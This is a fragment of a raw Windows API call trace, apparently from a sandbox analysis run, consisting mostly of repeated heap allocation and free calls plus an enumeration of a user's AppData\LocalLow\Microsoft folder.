hHeap=0x670000) returned 1 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.330] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0061.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.330] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0061.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0061.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.330] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0061.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d09c8 | out: hHeap=0x670000) returned 1 [0061.330] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.330] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.330] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.330] PathFindFileNameW (pszPath="") returned="" [0061.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.330] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.330] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.331] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CryptnetUrlCache", cAlternateFileName="CRYPTN~1")) returned 1 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x54) returned 0x30faeb0 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3038608 | out: hHeap=0x670000) returned 1 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0061.331] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IME12", cAlternateFileName="")) returned 1 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d4b0 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30faeb0 | out: hHeap=0x670000) returned 1 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0061.331] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP12", cAlternateFileName="")) returned 1 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.331] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0061.331] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa8) returned 0x2fedd78 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e898 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ebc8 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d4b0 | out: hHeap=0x670000) returned 1 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dbe0 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3016c78 | out: hHeap=0x670000) returned 1 [0061.332] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP8_1", cAlternateFileName="")) returned 1 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dc78 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dc78 | out: hHeap=0x670000) returned 1 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.332] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMJP9_0", cAlternateFileName="")) returned 1 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dc78 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc) returned 0x30d2e98 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dda8 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301de40 [0061.332] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301ded8 [0061.332] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e898 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dbe0 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0061.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dc78 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.333] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0061.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee830 [0061.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee980 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee8d8 | out: hHeap=0x670000) returned 1 [0061.333] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 0 [0061.333] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eab8 | out: hHeap=0x670000) returned 1 [0061.333] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d4b0 [0061.333] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.333] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.333] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.334] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.334] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.334] HeapFree (in: 